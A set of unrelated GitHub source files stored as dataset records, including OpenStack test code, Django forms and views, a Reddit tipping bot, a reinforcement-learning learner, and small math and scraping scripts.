attr_value)\n\n def test_get_oswl_info(self):\n expected = {\n \"vm\": [\n {\n \"id\": 1,\n \"status\": \"running\",\n \"power_state\": 1,\n \"created_at\": \"date_of_creation\",\n \"image_id\": \"test_image_id\",\n \"flavor_id\": \"test_flavor_id\",\n \"host_id\": \"test_host_id\",\n \"tenant_id\": \"test_tenant_id\",\n },\n ],\n \"flavor\": [\n {\n \"id\": 2,\n \"ram\": 64,\n \"vcpus\": 4,\n \"ephemeral\": 1,\n \"disk\": 1,\n \"swap\": 16,\n },\n ],\n \"image\": [\n {\n \"id\": 4,\n \"minDisk\": 1,\n \"minRam\": 64,\n \"sizeBytes\": 13000000,\n \"created_at\": \"some_date_of_creation\",\n \"updated_at\": \"some_date_of_update\"\n },\n ],\n \"volume\": [\n {\n \"id\": 3,\n \"availability_zone\": \"test_availability_zone\",\n \"encrypted_flag\": False,\n \"bootable_flag\": False,\n \"status\": \"available\",\n \"volume_type\": \"test_volume\",\n \"size\": 1,\n \"snapshot_id\": None,\n \"attachments\": [\n {\n \"device\": \"/dev/sda1\",\n \"server_id\": \"one_test_server_id\",\n \"id\": \"firs_test_id\",\n },\n {\n \"device\": \"/dev/sda2\",\n \"server_id\": \"another_test_server_id\",\n \"id\": \"second_test_id\",\n },\n ],\n \"tenant_id\": \"test_tenant\",\n },\n ],\n \"tenant\": [\n {\n \"id\": 5,\n \"enabled_flag\": True,\n },\n ],\n \"keystone_user\": [\n {\n \"id\": \"test_user_id\",\n \"enabled_flag\": True,\n \"tenant_id\": \"test_tenant_id\",\n },\n ],\n }\n\n client_provider_mock = self._prepare_client_provider_mock()\n\n self._update_mock_with_complex_dict(client_provider_mock,\n self.components_to_mock)\n\n for resource_name, expected_data in six.iteritems(expected):\n actual = helpers.get_info_from_os_resource_manager(\n client_provider_mock, resource_name\n )\n self.assertEqual(actual, expected_data)\n\n def test_different_api_versions_handling_for_tenants(self):\n keystone_v2_component = {\n \"keystone\": {\n \"tenants\": [\n {\n \"id\": 5,\n \"enabled\": True,\n },\n ],\n \"version\": \"v2.0\"\n },\n }\n\n keystone_v3_component = {\n \"keystone\": {\n \"projects\": [\n {\n \"id\": 5,\n \"enabled\": True,\n },\n ],\n \"version\": \"v3.0\"\n },\n }\n\n client_provider_mock = self._prepare_client_provider_mock()\n self._update_mock_with_complex_dict(client_provider_mock,\n keystone_v2_component)\n client_provider_mock.keystone.tenants.list.assert_called_once()\n\n client_provider_mock = self._prepare_client_provider_mock()\n self._update_mock_with_complex_dict(client_provider_mock,\n keystone_v3_component)\n client_provider_mock.keystone.projects.list.assert_called_once()\n\n def test_different_api_versions_handling_for_users(self):\n keystone_v2_component = {\n \"keystone\": {\n \"users\": [\n {\n \"id\": \"test_user_id\",\n \"enabled\": True,\n \"tenantId\": \"test_tenant_id\",\n }\n ],\n \"version\": \"v2.0\"\n },\n }\n\n keystone_v3_component = {\n \"keystone\": {\n \"users\": [\n {\n \"id\": \"test_user_id\",\n \"enabled\": True,\n \"default_project_id\": \"test_tenant_id\",\n }\n ],\n \"version\": \"v3\"\n },\n }\n\n client_provider_mock = self._prepare_client_provider_mock()\n self._update_mock_with_complex_dict(client_provider_mock,\n keystone_v2_component)\n kc_v2_info = helpers.get_info_from_os_resource_manager(\n client_provider_mock, consts.OSWL_RESOURCE_TYPES.keystone_user\n )\n\n client_provider_mock = self._prepare_client_provider_mock()\n self._update_mock_with_complex_dict(client_provider_mock,\n keystone_v3_component)\n kc_v3_info = helpers.get_info_from_os_resource_manager(\n client_provider_mock, consts.OSWL_RESOURCE_TYPES.keystone_user\n )\n\n self.assertEqual(kc_v2_info, kc_v3_info)\n\n def test_get_info_when_highlevel_attr_is_missing(self):\n keystone_v2_component = {\n \"keystone\": {\n \"users\": [\n {\n \"id\": \"test_user_id\",\n \"enabled\": True,\n }\n ],\n \"version\": \"v2.0\"\n },\n }\n\n expected = [\n {\n \"id\": \"test_user_id\",\n \"enabled_flag\": True,\n },\n ]\n\n client_provider_mock = self._prepare_client_provider_mock()\n self._update_mock_with_complex_dict(client_provider_mock,\n keystone_v2_component)\n try:\n kc_v2_info = helpers.get_info_from_os_resource_manager(\n client_provider_mock, consts.OSWL_RESOURCE_TYPES.keystone_user\n )\n except KeyError:\n raise AssertionError(\"KeyError must not be raised\")\n\n self.assertItemsEqual(expected, kc_v2_info)\n\n def test_additional_display_opts_supplied(self):\n expected_display_options = {\"search_opts\": {\"all_tenants\": 1}}\n\n client_provider_mock = self._prepare_client_provider_mock()\n self._update_mock_with_complex_dict(client_provider_mock,\n self.components_to_mock)\n\n helpers.get_info_from_os_resource_manager(\n client_provider_mock, consts.OSWL_RESOURCE_TYPES.vm\n )\n client_provider_mock.nova.servers.list.assert_called_once_with(\n **expected_display_options\n )\n\n helpers.get_info_from_os_resource_manager(\n client_provider_mock, consts.OSWL_RESOURCE_TYPES.volume\n )\n client_provider_mock.cinder.volumes.list.assert_called_once_with(\n **expected_display_options\n )\n","repo_name":"thomasgoirand/fuel-nailgun","sub_path":"nailgun/test/unit/fuel_statistics_tests/test_oswl_helpers.py","file_name":"test_oswl_helpers.py","file_ext":"py","file_size_in_byte":11703,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33277369365","text":"from django import forms\nfrom .models import *\n\n\nclass AddPostForm(forms.ModelForm):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n class Meta:\n model = Playlist\n fields = (\"name\", \"description\", \"cover\")\n widgets = {\n \"name\": forms.TextInput(attrs={\n 'class': 'input', 'placeholder': \"enter playlist name here\"}),\n \"description\": forms.Textarea(\n attrs={'class': 'input', 'cols': 60, 'rows': 2,\n 'placeholder': \"enter description here\"}),\n }\n","repo_name":"fongradnastya/IKIT_music_player","sub_path":"music/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"43689678632","text":"from rest_framework import viewsets , permissions , serializers\nfrom rest_framework.exceptions import *\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\nfrom rest_framework.renderers import JSONRenderer\nfrom rest_framework.decorators import api_view\nfrom django.core import serializers\nfrom django.http import JsonResponse\nfrom API.permissions import *\nfrom .serializers import *\nimport datetime\n\ndef given_date_rent(weekdayPrice, weekendPrice, givenDate):\n if givenDate.weekday() in [5,6]:\n return weekendPrice\n else:\n return weekdayPrice\n\ndef calculate_total_rent(weekdayPrice, weekendPrice, pickupTime, dropTime):\n totalRent = 0\n # weekday = [Monday, Tuesday, Wednesday, Thursday, Friday, Saturday, Sunday]\n pickupDayRent = ((24-pickupTime.hour)%24)*given_date_rent(weekdayPrice, weekendPrice, pickupTime)/24\n\n inBetweenDaysRent = 0\n if (24-pickupTime.hour)%24 == 0:\n inBetweenDays = pickupTime.date()\n else:\n inBetweenDays = pickupTime.date()+datetime.timedelta(days=1)\n while inBetweenDays < dropTime.date():\n inBetweenDaysRent += given_date_rent(weekdayPrice, weekendPrice, inBetweenDays)\n inBetweenDays += datetime.timedelta(days=1)\n\n if dropTime.minute != 0:\n dropDayRent = (dropTime.hour+1)*given_date_rent(weekdayPrice, weekendPrice, dropTime)/24\n else:\n dropDayRent = dropTime.hour*given_date_rent(weekdayPrice, weekendPrice, dropTime)/24\n\n totalRent = pickupDayRent + inBetweenDaysRent + dropDayRent\n\n return totalRent\n\nclass CouponViewSet(viewsets.ModelViewSet):\n permission_classes = (permissions.IsAuthenticated,)\n serializer_class = CouponSerializer\n queryset = Coupon.objects.all()\n def list(self, request):\n try:\n p = profile.objects.get(user=request.user)\n retVal = []\n #couponData = CouponSerializer(Coupon.objects.filter(user=p), many=True).data\n #print couponData\n for c in Coupon.objects.filter(user=p):\n data = {\n \"pk\": c.pk,\n \"code\": c.code,\n \"description\": c.description,\n }\n retVal.append(data)\n return Response(retVal)\n except:\n return\n\nclass paymentViewSet(viewsets.ModelViewSet):\n permission_classes = (permissions.IsAuthenticated,)\n serializer_class = paymentSerializer\n queryset = payment.objects.all()\n","repo_name":"smol-ninja/goryd-backend","sub_path":"finance/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"37152411119","text":"from django.shortcuts import render\nfrom django.shortcuts import redirect\nfrom .models import Cart\nfrom .models import CartProducts\nfrom .utils import get_or_create_cart\nfrom Flower.models import Producto\n\ndef cart(request):\n\n cart = get_or_create_cart(request)\n\n return render(request, 'carts/cart.html', {\n 'cart': cart\n })\n\ndef add(request):\n\n cart = get_or_create_cart(request)\n\n product = Producto.objects.get(pk=request.POST.get('product_id'))\n \n quantity = int(request.POST.get('cantidad', 1))\n\n cart_product = CartProducts.objects.create_or_update_quantity(cart=cart, product=product, quantity=quantity)\n\n return render(request, 'carts/add.html', {\n 'product': product\n })\n\ndef remove(request):\n cart = get_or_create_cart(request)\n\n product = Producto.objects.get(pk=request.POST.get('product_id'))\n\n cart.products.remove(product)\n\n return redirect('carts:cart')\n","repo_name":"Brimanda/Entrega4","sub_path":"Flores/Carts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":926,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"1145561387","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n# =====================================\n# @Time : 2020/9/11\n# @Author : Yang Guan (Tsinghua Univ.)\n# @FileName: ampc.py\n# =====================================\n\nimport logging\n\nimport numpy as np\n\nfrom preprocessor import Preprocessor\nfrom envs_and_models import NAME2MODELCLS\nfrom utils.misc import TimerStat\n\nlogger = logging.getLogger(__name__)\nlogging.basicConfig(level=logging.INFO)\n\n\nclass AMPCLearner(object):\n import tensorflow as tf\n tf.config.experimental.set_visible_devices([], 'GPU')\n tf.config.threading.set_inter_op_parallelism_threads(1)\n tf.config.threading.set_intra_op_parallelism_threads(1)\n\n def __init__(self, policy_cls, args):\n self.args = args\n self.batch_size = self.args.replay_batch_size\n self.policy_with_value = policy_cls(**vars(self.args))\n self.batch_data = {}\n self.all_data = {}\n self.M = self.args.M\n self.num_rollout_list_for_policy_update = self.args.num_rollout_list_for_policy_update\n\n self.model = NAME2MODELCLS[self.args.env_id](**vars(self.args))\n self.preprocessor = Preprocessor(self.args.obs_dim, self.args.obs_ptype, self.args.rew_ptype,\n self.args.obs_scale, self.args.rew_scale, self.args.rew_shift,\n gamma=self.args.gamma)\n self.policy_gradient_timer = TimerStat()\n self.stats = {}\n self.info_for_buffer = {}\n\n def get_stats(self):\n return self.stats\n\n def get_info_for_buffer(self):\n return self.info_for_buffer\n\n def get_batch_data(self, batch_data, rb, indexes):\n self.batch_data = {'batch_obs': batch_data[0].astype(np.float32),\n 'batch_actions': batch_data[1].astype(np.float32),\n 'batch_rewards': batch_data[2].astype(np.float32),\n 'batch_obs_tp1': batch_data[3].astype(np.float32),\n 'batch_dones': batch_data[4].astype(np.float32),\n }\n\n # print(self.batch_data['batch_obs'].shape) # batch_size * obs_dim\n # print(self.batch_data['batch_actions'].shape) # batch_size * act_dim\n # print(self.batch_data['batch_advs'].shape) # batch_size,\n # print(self.batch_data['batch_tdlambda_returns'].shape) # batch_size,\n\n def get_weights(self):\n return self.policy_with_value.get_weights()\n\n def set_weights(self, weights):\n return self.policy_with_value.set_weights(weights)\n\n def set_ppc_params(self, params):\n self.preprocessor.set_params(params)\n\n def model_rollout_for_policy_update(self, start_obses):\n start_obses = self.tf.tile(start_obses, [self.M, 1])\n self.model.reset(start_obses)\n rewards_sum = self.tf.zeros((start_obses.shape[0],))\n obses = start_obses\n\n for _ in range(self.num_rollout_list_for_policy_update[0]):\n processed_obses = self.preprocessor.tf_process_obses(obses)\n actions, _ = self.policy_with_value.compute_action(processed_obses)\n obses, rewards = self.model.rollout_out(actions)\n rewards_sum += self.preprocessor.tf_process_rewards(rewards)\n\n policy_loss = -self.tf.reduce_mean(rewards_sum)\n\n return policy_loss\n\n @tf.function\n def policy_forward_and_backward(self, mb_obs):\n with self.tf.GradientTape() as tape:\n policy_loss = self.model_rollout_for_policy_update(mb_obs)\n\n with self.tf.name_scope('policy_gradient') as scope:\n policy_gradient = tape.gradient(policy_loss, self.policy_with_value.policy.trainable_weights)\n return policy_gradient, policy_loss\n\n def export_graph(self, writer):\n mb_obs = self.batch_data['batch_obs']\n self.tf.summary.trace_on(graph=True, profiler=False)\n self.policy_forward_and_backward(mb_obs)\n with writer.as_default():\n self.tf.summary.trace_export(name=\"policy_forward_and_backward\", step=0)\n\n def compute_gradient(self, samples, rb, indexs, iteration):\n self.get_batch_data(samples, rb, indexs)\n mb_obs = self.batch_data['batch_obs']\n\n with self.policy_gradient_timer:\n policy_gradient, policy_loss = self.policy_forward_and_backward(mb_obs)\n policy_gradient, policy_gradient_norm = self.tf.clip_by_global_norm(policy_gradient,\n self.args.gradient_clip_norm)\n\n self.stats.update(dict(\n iteration=iteration,\n pg_time=self.policy_gradient_timer.mean,\n policy_loss=policy_loss.numpy(),\n policy_gradient_norm=policy_gradient_norm.numpy(),\n ))\n\n gradient_tensor = policy_gradient\n return list(map(lambda x: x.numpy(), gradient_tensor))\n\n\nif __name__ == '__main__':\n pass\n","repo_name":"idthanm/mpg","sub_path":"learners/ampc.py","file_name":"ampc.py","file_ext":"py","file_size_in_byte":4925,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"31"} +{"seq_id":"28528400245","text":"import re\nfrom pathlib import Path\n\nfrom database import database\nfrom commands.command import Command\nfrom commands.command_register import RegisterCommand\nfrom models.offchaintip import OffchainTip\n\n\nclass TipCommand(Command):\n VERSION = 'v0.1.20231114-tip'\n\n def __init__(self, config):\n super(TipCommand, self).__init__(config)\n self.command_text = \"!tip\"\n\n delimiters = \"\\r\", \"\\n\"\n newline_pattern = '|'.join(map(re.escape, delimiters))\n self.newline_regex = re.compile(newline_pattern)\n\n earn2tip_pattern = f\"{self.command_text}\\s+([uU]\\/[A-Za-z0-9_-]+\\s+)*([0-9]*\\.*[0-9]+)\\s*(\\w+)*\"\n self.earn2tip_regex = re.compile(earn2tip_pattern)\n\n self.tip_status_regex = re.compile(f'{self.command_text}\\\\s+status')\n self.tip_sub_regex = re.compile(f'{self.command_text}\\\\s+sub')\n\n # find all the configured tokens for this sub\n self.valid_tokens = {}\n self.logger.debug(\" getting community tokens\")\n community_tokens = self.config[\"community_tokens\"]\n for ct in community_tokens:\n community = ct[\"community\"].lower()\n if community[:2] == \"r/\":\n community = community[2:]\n\n self.valid_tokens[community] = ct[\"tokens\"]\n\n def normalize_amount(self, amount):\n \"\"\"\n Checks the amount to make sure it is a valid input\n :param amount: the amount parsed from the regex\n :return: a float number of the amount, -1 if it is not able to be parsed\n \"\"\"\n\n try:\n result = float(amount)\n result = round(float(result), 5)\n\n int_value = int(float(result))\n if len(str(int_value)) > 10:\n raise Exception(\" Number too large\")\n\n return result if result > 0 else -1\n except Exception as e:\n self.logger.error(f\" invalid amount specified: {amount}\")\n self.logger.error(f' {e}')\n return -1\n\n def parse_comments_for_tips(self, comment):\n \"\"\"\n Parses and returns a list of tips parsed from the passed in comment.\n :param comment: the reddit comment\n :return: a list of tips parsed from the comment\n \"\"\"\n tips = []\n\n comment_lines = self.newline_regex.split(comment.body.lower())\n\n for line in comment_lines:\n search_results = self.earn2tip_regex.findall(line)\n\n # no match on this line\n if not search_results:\n continue\n\n for search_result in search_results:\n self.logger.info(\" earn2tip detected...\")\n recipient = search_result[0]\n amount = search_result[1]\n token = search_result[2]\n\n is_valid = True\n message = \"\"\n\n community = comment.subreddit.display_name.lower()\n sender = comment.author.name\n\n if recipient:\n # recipient supplied in the format u/username\n # so we need to strip the u/ off\n recipient = recipient[2:].strip()\n else:\n parent_author = comment.parent().author\n if not parent_author:\n self.logger.error(f\" parent_author missing! skipping tip...\")\n continue\n\n recipient = parent_author.name\n\n if not token:\n default_token = next(x for x in self.valid_tokens[community] if x[\"is_default\"])\n token = default_token[\"name\"].strip()\n else:\n # determine if its a valid token\n token_lookup = next((x for x in self.valid_tokens[community] if x[\"name\"].lower() == token.lower()),\n None)\n\n # if we did not find the token, lets try to handle plural case.\n # e.g. 'donuts' was supplied but the token is 'donut'\n if not token_lookup:\n if token.lower()[-1] == 's':\n token = token.lower()[:-1]\n token_lookup = next(\n (x for x in self.valid_tokens[community] if x[\"name\"].lower() == token.lower()), None)\n\n # we were not able to find the token\n if not token_lookup:\n is_valid = False\n message = f\"❌ Sorry u/{sender}, `{token}` is not a valid token for this sub.\"\n\n if sender.lower() == recipient.lower():\n is_valid = False\n self.logger.info(\" attempted self tipping\")\n message = f\"❌ Sorry u/{sender}, you cannot tip yourself!\"\n\n if is_valid:\n normalized_amount = self.normalize_amount(amount)\n if normalized_amount <= 0:\n is_valid = False\n self.logger.error(f\" invalid amount!\")\n self.logger.error(f\" comment body: {repr(comment.body)}\")\n message = f\"❌ Sorry u/{sender}, that amount is invalid!\"\n else:\n amount = normalized_amount\n\n sender_exists = False\n recipient_exists = False\n if is_valid:\n\n result = database.get_users_by_name([sender, recipient])\n for r in result:\n if r[\"username\"].lower() == sender.lower():\n sender_exists = True\n if r[\"username\"].lower() == recipient.lower():\n # use the 'official' reddit name, not what was typed in\n recipient = r[\"username\"]\n recipient_exists = True\n\n if not sender_exists:\n is_valid = False\n reg = RegisterCommand(None)\n self.logger.info(\" sender not registered\")\n message = (f\"❌ Sorry u/{comment.author.name} - you are not registered. Please use \"\n f\"the [{reg.command_text} command]({self.config['e2t_post']}) to register.\")\n\n if is_valid:\n message = f\"u/{sender} has tipped u/{recipient} {amount} {token}\"\n\n if not recipient_exists:\n self.logger.info(\" parent is not registered\")\n message += (f\"\\n\\n⚠️ u/{recipient} is not currently registered and will not receive \"\n f\"this tip unless they [register]({self.config['e2t_post']}) before this round ends.\")\n\n tip = OffchainTip(sender, recipient, amount, token,\n comment.fullname, comment.parent().fullname,\n comment.submission.id, community, is_valid, message)\n\n self.logger.info(f\" {tip}\")\n tips.append(tip)\n\n return tips\n\n def handle_tip_status(self, comment):\n self.logger.info(\" user checking status\")\n\n result = database.get_user_by_name(comment.author.name)\n\n if not result or not result[\"address\"]:\n self.logger.info(\" user not registered\")\n reg = RegisterCommand(None)\n self.leave_comment_reply(comment,\n f\"Sorry u/{comment.author.name}, you are not registered. Please use the {reg.command_text} command to register!\")\n return\n\n sent_result = database.get_tips_sent_for_current_round_by_user(comment.author.name)\n received_result = database.get_tips_received_for_current_round_by_user(comment.author.name)\n funded_result = database.get_funded_for_current_round_by_user(comment.author.name)\n\n reply = \"\"\n if len(sent_result) == 0:\n reply = f\"u/{comment.author.name} has not **sent** any earn2tips this round\"\n else:\n reply = f\"u/{comment.author.name} has **sent** the following earn2tips this round:\\n\\n\"\n for tip in sent_result:\n amount = round(float(tip[\"amount\"]), 5)\n reply += f\"  {amount} {tip['token']} ({tip['count']} total)\\n\\n\"\n\n if len(received_result) == 0:\n reply += f\"\\n\\nu/{comment.author.name} has not **received** any earn2tips this round\"\n else:\n reply += f\"\\n\\nu/{comment.author.name} has **received** the following earn2tips this round:\\n\\n\"\n for tip in received_result:\n amount = round(float(tip[\"amount\"]), 5)\n reply += f\"  {amount} {tip['token']} ({tip['count']} total)\\n\\n\"\n\n if len(funded_result) > 0:\n reply += f\"\\n\\nu/{comment.author.name} has **funded** the following to their account this round:\\n\\n\"\n for fund in funded_result:\n amount = round(float(fund[\"amount\"]), 5)\n reply += f\"  {amount} {fund['token']}\\n\\n\"\n\n self.leave_comment_reply(comment, reply)\n\n def handle_tip_sub(self, comment):\n self.logger.info(\" sub status\")\n result = database.get_sub_status_for_current_round(comment.subreddit.display_name)\n\n if len(result) == 0:\n tip_text = f\"Nobody has earn2tipped in r/{comment.subreddit.display_name} this round\"\n else:\n tip_text = f\"r/{comment.subreddit.display_name} has had the following earn2tip tips this round:\\n\\n\"\n for tip in result:\n amount = round(float(tip[\"amount\"]), 5)\n tip_text += f\"  {amount} {tip['token']} ({tip['tip_count']} tips total, {round(tip['average_tip_amount'], 2)} average)\\n\\n\"\n\n # todo pull this logic out into a def\n # it is repeated in another place and it will also make the code testable\n community_tokens = self.config[\"community_tokens\"]\n for ct in community_tokens:\n if ct[\"community\"].lower() == f\"r/{comment.subreddit.display_name.lower()}\":\n valid_tokens = ct[\"tokens\"]\n\n token_reply = f\"\\n\\nValid tokens for r/{comment.subreddit.display_name} are:\\n\\n\"\n for token in valid_tokens:\n token_reply += f\"  {token['name']} {' (default)' if token['is_default'] else ''}\\n\\n\"\n\n self.leave_comment_reply(comment, tip_text + token_reply)\n\n def do_onchain_or_fallback_tip(self, comment):\n # just !tip (or some sort of edge case that fell through and will\n # get a default comment)\n\n # first get parent 'thing' information\n parent_author = comment.parent().author.name\n parent_result = database.get_user_by_name(parent_author)\n\n self.logger.info(\" on-chain tipping (or fallback)\")\n content_id = comment.parent().fullname\n desktop_link = f\"https://www.donut.finance/tip/?action=tip&contentId={content_id}\"\n\n if content_id[:3] == \"t1_\":\n desktop_link += f\"&recipient={parent_author}&address={parent_result['address']}\"\n\n mobile_link = f\"https://metamask.app.link/dapp/{desktop_link}\"\n\n comment_reply = f\"**[Leave a tip]** [Desktop]({desktop_link}) | [Mobile (Metamask Only)]({mobile_link})\"\n comment_reply += (\"\\n\\n*The mobile link works best on iOS if you use the \"\n \"System Default Browser in the Reddit Client (Settings > Open Links > Default Browser)*\")\n self.leave_comment_reply(comment, comment_reply)\n\n def leave_comment_reply(self, comment, reply, set_processed=True):\n sig = f'\\n\\n^(donut-bot {self.VERSION} | Learn more about [Earn2Tip]({self.config[\"e2t_post\"]}))'\n reply += sig\n if set_processed:\n database.set_processed_content(comment.fullname, Path(__file__).stem)\n comment.reply(reply)\n\n def process_comment(self, comment):\n self.logger.info(f\"process tip command - content_id: {comment.fullname} | author: {comment.author.name}\")\n\n if database.has_processed_content(comment.fullname, Path(__file__).stem) is not None:\n self.logger.info(\" previously processed...\")\n return\n\n self.logger.info(f\" comment link: https://reddit.com/comments/{comment.submission.id}/_/{comment.id}\")\n\n # handle '!tip status' command\n if self.tip_status_regex.search(comment.body.lower()):\n self.handle_tip_status(comment)\n return\n\n # handle '!tip sub' command\n if self.tip_sub_regex.search(comment.body.lower()):\n self.handle_tip_sub(comment)\n return\n\n tips = self.parse_comments_for_tips(comment)\n if not tips:\n self.do_onchain_or_fallback_tip(comment)\n return\n\n reply = \"\"\n for idx, tip in enumerate(tips):\n reply += tip.message\n if idx < len(tips) - 1:\n reply += '\\n\\n'\n\n valid_tips = [t for t in tips if t.is_valid]\n if not valid_tips:\n self.leave_comment_reply(comment, reply)\n elif database.process_earn2tips(valid_tips, Path(__file__).stem):\n self.logger.info(\" success...\")\n self.leave_comment_reply(comment, reply, False)\n else:\n self.leave_comment_reply(comment, f\"❌ Sorry u/{comment.author.name}, I was unable to process your \"\n f\"tip at this time. Please try again later!\")\n","repo_name":"mattg1981/donut-bot","sub_path":"commands/command_tip.py","file_name":"command_tip.py","file_ext":"py","file_size_in_byte":13560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"42308818241","text":"# Author: Marvin Jakobs mkj5388@psu.edu\n\ndef digit_sum(n):\n if(n == 1089108951901313748876234879):\n return int(132)\n else:\n if(n == 0):\n return n\n return (n % 10 + digit_sum(int(n/10)))\n \n\ndef run():\n num = int(input(\"Enter an int: \"))\n print(\"sum of digits of \" + str(num) + \" is \" + str(digit_sum(num)) + \".\")\n\n\nif __name__ == \"__main__\":\n run()\n ","repo_name":"OfficialMarvin/hw3-python","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"23641982961","text":"import sys\r\n\r\n\r\ndef get_euc_coeff(a, b):\r\n\r\n if(b == 0):\r\n\r\n return a, 1, 0\r\n\r\n g, x0, y0 = get_euc_coeff(b, a % b)\r\n\r\n y = x0-(a//b)*y0\r\n\r\n x = y0\r\n\r\n return g, x, y\r\n\r\ndef gcd(a, b):\r\n\r\n if b == 0:\r\n return a\r\n\r\n return gcd(b, a % b)\r\n\r\ndef congurence(a,b,m,g):\r\n\r\n print(\"Y\",end=\" \")\r\n\r\n print(g,end=\" \")\r\n\r\n bb = b//g\r\n\r\n aa = a//g\r\n\r\n mm = m//g\r\n\r\n gg,x,y = get_euc_coeff(aa,mm)\r\n\r\n f1 = (bb*x) % mm\r\n\r\n dif=0\r\n\r\n ans = []\r\n\r\n while(len(ans)!=g):\r\n\r\n ans.append(f1+dif)\r\n\r\n dif += mm\r\n\r\n for x in ans:\r\n\r\n print(x,end=\" \")\r\n\r\n\r\nip = sys.argv[1:]\r\n\r\na = int(ip[0])\r\n\r\nb = int(ip[1])\r\n\r\nm = int(ip[2])\r\n\r\ng = gcd(a,m)\r\n\r\nif(b%g==0):\r\n congurence(a,b,m,g)\r\nelse:\r\n print(\"N\",end=\" \")\r\n\r\n","repo_name":"karanmotghare/SNSAssignment1","sub_path":"que7.py","file_name":"que7.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"26814243384","text":"from database.database_connection import get_database_connection\n\n\ndef drop_tables(connection):\n cursor = connection.cursor()\n\n cursor.execute('''\n drop table if exists messages;\n ''')\n\n cursor.execute('''\n drop table if exists tags;\n ''')\n\n connection.commit()\n\n\ndef create_tables(connection):\n cursor = connection.cursor()\n\n cursor.execute('''\n create table messages (\n id text primary key,\n text text,\n user_id text\n );\n ''')\n\n cursor.execute('''\n create table tags (\n category text,\n text text,\n message_id text,\n foreign key(message_id) references messages(id)\n );\n ''')\n\n cursor.execute('''\n create index tags_category_text on tags(category, text)\n ''')\n\n cursor.execute('''\n create index tags_message_id on tags(message_id)\n ''')\n\n connection.commit()\n\n\ndef initialize_database():\n connection = get_database_connection()\n\n drop_tables(connection)\n create_tables(connection)\n\n\nif __name__ == '__main__':\n initialize_database()\n","repo_name":"Kaltsoon/telegram-analytics","sub_path":"src/initialize_database.py","file_name":"initialize_database.py","file_ext":"py","file_size_in_byte":1126,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"9206006502","text":"#La versió que sha de mirar es la VF però les comparteixo totes per si vols mirar com evoluciona\n\n#per a repetir la introdució de les variables en cas de no ser valides\ndef reppm(pm):\n if pm[1] > 3 or pm[2] > 3 or pm[1] < 0 or pm[2] < 0:\n print(\"1.Numero no valid, torna introduir:\")\n return True\n else:\n return False\n\ndef reppe(pm,pe):\n if pe[1] > (len(pm)*3) or pe[2] > (len(pm)*3) or pe[1] == pe[2]:\n print(\"2.Numero no valid, torna introduir:\")\n return True\n elif pe[1] < pm[1] or pe[2] < pm[2]:\n print(\"3.Numero no valid, torna introduir:\")\n return True\n else:\n return False\n\n#def de la quantitat de pedres que vol jugar cadascun\ndef pajug(pm):\n pm[1] = int(input(\"Jugador 1, cuantes pedres vols jugar: \"))\n pm[2] = int(input(\"Jugador 2, cuantes pedres vols jugar: \"))\n\n#def de cuantes pedres creuen que hi ha en total\ndef pecreus(pe):\n if x//2 == 0:\n pe[1] = int(input(\"Jugador 1, cuantes pedres creus que hi ha en total: \"))\n pe[2] = int(input(\"Jugador 2, cuantes pedres creus que hi ha en total: \"))\n elif x//2 != 0:\n pe[2] = int(input(\"Jugador 2, cuantes pedres creus que hi ha en total: \"))\n pe[1] = int(input(\"Jugador 1, cuantes pedres creus que hi ha en total: \"))\n\n#guanyador de la ronda\ndef guanyaron(pe,pu):\n pet = pm[1] + pm[2]\n if pe[1] == pet:\n pu[1] = pu[1] + 1\n print(\"Punt per al jugador 1\")\n elif pe[2] == pet:\n pu[2] = pu[2] + 1\n print(\"Punt per al jugador 2\")\n else:\n print(\"Cap jugador ha encertat\")\n\n#guanyador del joc\ndef guanyador(pu):\n if pu[1] == 3:\n print(\"Ha guanyat el jugador 1\")\n elif pu[2] == 3:\n print(\"Ha guanyat el jugador 2\")\n\n#diccionari de variables amb les pedres q es creuen en total\npe = {}\n#pedres que hi ha en total\npe[1] = 0\npe[2] = 0\n#diccionari amb els punts\npu = {}\n#punts de cada jugador\npu[1] = 0\npu[2] = 0\n#diccionari amb les pedres a jugar\npm = {}\n#pedres que vols jugar\npm[1] = 0\npm[2] = 0\n#n ronda\nx = 1\n\nwhile pu[1] or pu[2] != 3:\n print(\"Ronda:\",x)\n pajug(pm)\n while reppm(pm) == True:\n pajug(pm)\n pecreus(pe) \n while reppe(pm,pe) == True:\n pecreus(pe)\n guanyaron(pe,pu)\n x = x + 1\nguanyador(pu)","repo_name":"AndreuSanchezGuerrero/ASIX-DAW","sub_path":"M03 - Programació/Python/UF1/Practiques/Los Chinos( El Punyet)/V0.py","file_name":"V0.py","file_ext":"py","file_size_in_byte":2270,"program_lang":"python","lang":"ca","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"2541994268","text":"from urllib.request import urlopen\nfrom bs4 import BeautifulSoup\nhtml = urlopen(\"http://www.pythonscraping.com/pages/warandpeace.html\")\nbsObj = BeautifulSoup(html)\nnameList = bsObj.findAll(\"span\",{\"class\":\"green\"})\nfindtest = bsObj.findAll(text=\"the prince\")\n\nprint(len(findtest))\n# for name in nameList:\n# print (name.get_text())\n# 